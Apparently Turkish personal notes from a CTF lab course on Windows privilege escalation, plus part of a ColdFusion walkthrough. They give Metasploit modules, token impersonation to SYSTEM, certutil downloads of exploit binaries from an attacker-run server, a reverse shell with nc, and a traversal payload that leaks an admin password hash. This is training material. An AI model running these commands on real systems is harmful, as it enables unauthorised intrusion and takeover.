Daha sonra kalimizde downlaod klasörüne gidelim. ve windows exploit suggestere çift tıklayalım içinden

windows-exploit-suggester.py i sürükleyip downloada taşıyalım.

Kali terminalimizde new tab diyip yeni bir terminal daha açalım.

cd Downloads/ //windows-exploit-suggesterin olduğu dosyaya gittik

./windows-exploit-suggester.py --update //güncelleme yapıyor

//Github açıklama sayfasında ilk başta güncelleme yap diyordu onu yaptık. Bize -mssb.xls dosyası oluşturuyor. o dosya bize lazım olacak

pip install xlrd --upgrade //dosyayı çalıştırmak için gerekli yüklemeler yapıldı(github açıklamada okuduk)

Şimdi 1. Terminalde windowsa bağlı olduğumuz terminalde:

shell //windwos shell açalım

systeminfo //gelen systeminfoyu kopyalayalım.

Tekrar açtığımız yeni terminale dönelim ve :

nano windowsexploit.txt //içine systeminfoyu yapıştıralım ve kaydedelim.

./windows-exploit-suggester.py --database 2022-11-21-mssb.xls --system info windowsexploit.txt

//2022 ile başlayan güncelleme neyse o olmalı!

//Gelen sonuçlarda [M] ve yeşil renkte olanların hepsi exploit (hatalı yerler, açık olan yerler) bunların

hepsini kullanabiliriz. bir tarama yaptık. Kullanabileceğimiz exploitleri öğrendik..

**********

**DİĞER ARAÇLAR::**

Yukarıda bir tane exploit suggester örneğini gördük bir kaç tane daha görelim. En kolayı olan şu an yadığımız:

En kolayını yapabilmek için meterpreter shell olmamız lazım Biz almışız zaten

1. terminaldeyiz ve meterpreter> komut bekliyor

getsystem //çok kolay bir açık varsa bu komut bizi root haline getirir. windows xplerde çalışır. ama nadirdir

run post/multi/recon/local_exploit_suggester

//post=hackledikten sonra manasına geliyor. recon=bilgi toplama

meterpreter local_exploit suggester çalıştırma kodu bu

bize az önceki windows exploit suggester gibi bu koda exploitleri listeliyor

2 tane farklı exploit bulmayı gördük 3. geçelim:

şimdi 3. yöntemin temellerinden başlayalım.

Googleda winpeas diye arattık carlospolopun privilege esclation sayfasına girdik

winPEAS->winPEASexe/winPEAS/bin/OBpuscoted Releases içinde

3 çeşit winpeas exe dosyası var. şuanki ctfmiz x32 olduğu için
WİNPEASX86.exeyi indirelim

Şimdi 1.Terminale(meterpreter) dönelim indirdiğimiz dosyayı tmp içine atacaz.

cd c:\\windows\\temp  //genelde tempe indirme izni hep var

pwd

upload /root/Downloads/winPEASx86.exe  //indirmeye başaladı

ls  //meterpreterdeyiz o yüzden dir e gerek yok

shell

winPEASx86.exe  //çalışırsa iyi çalışmayabilir. bizde çalıştırmadı...

**********

**ADMİN OLMAK:::**

ilk başta kolay dediğimiz yöntemi (2.ciyi) deneyeceğiz

onun çıktılarını bir txtye kaydedelim. ve kullanalım.

1.terminaldeyiz yine meterpreter shellimizin olduğu terminalde

background

sessions -l

use exploit/windows/local/ms-10_015_kitrap0d  //gelen çıktıdan kopyalayıp başına use yazıp yapıştırdık

show options  //sessionumuz kaç ise onu yazacağız.

set session 1

show options

set lhost 10.10.14.19  //vpnli ipmiz kali

exploit

exploit -j -z

set lport 1234

exploit -j -z

sessions -l

sessions -2

getuid  //root olduk.

**********

**PATATO SALDIRISI::**

Yine 1. terminaldeyiz yine normal bir kullanıcı ile meterpreter shellimizdeyiz farklı bir yöntem ile root olacağız.

getuid //ISS APPPOL\WEB

load incognito //bu komut sayesinde aşağıdaki komutu çalıştırabiliyoruz.

list_tokens -u //bizim burada ulaşabildiğimiz tokenleri gösteriyor.

Karşımıza 2 liste geliyor. Delegation Tokens Avaible bu bizim ulaşabildiğimiz token listesi

Birde ımpersonation Tokens Avaible var bu da adminin tokenleri eğer bunlardan bir tanesine ulaşabiliyosak çok basit admin olabiliriz.

shell //windows shelline geçelim

whoami // priv bana ait yetkileri görüyoruz.

//SeImpersonatePrivilege eğer bu açık varsa biz bazı modülleri kullanarak yetki yükseltebiliriz.

****

Konudan bağımsız windowsta dosya indirmek için şu adımlar izlenebilir: bir exe mi indirmek istiyoruz mesela:

önce kalimize exeyi googleden indirelim Daha sonra o exeyi www/html içine yükleyip service apache2 start diyelim.

Daha sonra windows ile bağlantı kurduğumuz meterpreter terminalinde

shell

cd c:\\windows\\temp

certutil -urlcache -f http://10.10.14.19/Potato.exe pot.exe

//bunları yaptıktan sonra windows içine exeyi başarılı bir şekilde yükleyebiliriz.

****

background  //session 2 mi verdi sonucunu ne verirse öyle devam edecez

use exploit/windows/local/ms16_075_reflection  //listeden kopyala yapıştır

show options

set session 2

set lhost 10.10.14.19  //kali ip //lportu aynı ise değiş farklı ise elleme

exploit  //session 3ü açtı

getuid  //hala APPPOOL/WEBiz o yüzden

load incognito

list_tokens -u

impersonate_token "NT AUTHORITY\SYSTEM"

//BUNU YAPTIKTAN SONRA YİNE ROOT ADMİN OLUYORUZ..

**********

**MANUEL YETKİ YÜKSELTMESİ::**

Yine farklı bir yetki yükseltmesi yapacağız.

İlk yaptığımız windows-expbit-suggesterin çıktısını kaydetmiştik. MS10-059u deneyecez

Google gidip MS10-059 exploit yazarsak SecWikinin windows-kernel-exploit sayfasını açalım.

MS10-059.exeye tıklayıp Downloada basalım.

İndirilen Dosyaya sağ tıklayalım var -> www -> html içine paste edelim. ismini değişip rename yapıp ms10059.exe yapalım.

Yine windowsa metasploit ile bağlanalım.

```
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
options
set lhost 10.10.14.19
set lport 4242
exploit -j -z
```

Daha sonra mozillada 10.10.10.5/ahars.aspx çalıştıralım

Farklı bir terminalde service apache2 start çalıştıralım. ve tekrar msfconsole olan 1. terminale dönelim

```
sessions -l
sessions -1
```

cd c:\\windows\\temp

certutil -urlcache -f http://10.10.14.19/ms10059.exe ms10.exe

dir //ms10.exe geldiğini gördük

ms10.exe 10.10.14.19 1234 //shell gelecek dinlemek için entere basmadan yeni terminalde

nc -nvlp 1234 //2. yeni terminalde tekrar 1. terminalde dönelim. entere basalım.

Tekrar 2. terminale dönüp bağlantıyı yakaladık mı

Artık admin olarak windowsta olacağız.

**********

**ARTİC CTF::(windows)**

nmap -p- -T4 -A -v 10.10.10.11

//Gelen sonuçlarda 8500 portu açık

mozillada 10.10.10.11:8500 yazıp gelen 2 linki yeni sekmede açıyoruz.

ColdFusion ADOBENİN WEB hizmeti kullanılıyor.

Administator linkte tıkladık admin giriş paneli açıldı.

ADOBE COLDFUSION 8 açık var mı onu araştıracağız.

O yüzden terminale dönelim:

searchsploit coldfusion //Kali içinde coldfusion ile alakalı exploitleri arıyor.

Karşımıza gelen listede sürümlere göre exploitler var. mozillaya dönüp admin giriş sayfasına bakacak olursak urlsi:

10.10.10.11:8500/CFIDE/administator/enter.cfm 8.0.1 açığı var.

Sağda olduğu dosyayı kopyalayalım.

cd /usr/share/exploitdb/

ls -la

cd exploits

cd cfm

cd webapps/

ls -la //33170.txt arıyoruz

cat 33170.txt

içinde xss açığı var diyor. Bu işimize yaramaz.

O açık işimize yaramaz. Yine exploitlere bakalım.

searchsploit coldfusion //directory Travelsal ../../../ bunun işe yaradığını söylüyor.

cd..

cd..

cd multiple/

cd remote

cat 14641.py

Bize bu txtde /enter.cfmden sonra

?locale=../../../../../../../../../../../../ColdFusion8/lib/password.properties%00en

çalışıyorsa sona şifreyi bulacaz demişler? localden sonrasını kopyalayıp /enter.cfm?locale... diye yapıştırıp deneyelim ve kriptolanmış bir şekilde şifreyi veriyor bize.

Kaliye geri dönelim:

hash-identifier //Gelen hash:yazarı yere bunu yapıştıralım SHA-1 ile kriptolanmış diyor. %100 olmamakla birlikte

Mozillaya gidip sha1 decrypt online yazalım gelen sitelerde deneyelim ve kıralım. Şifre=happyday imiş..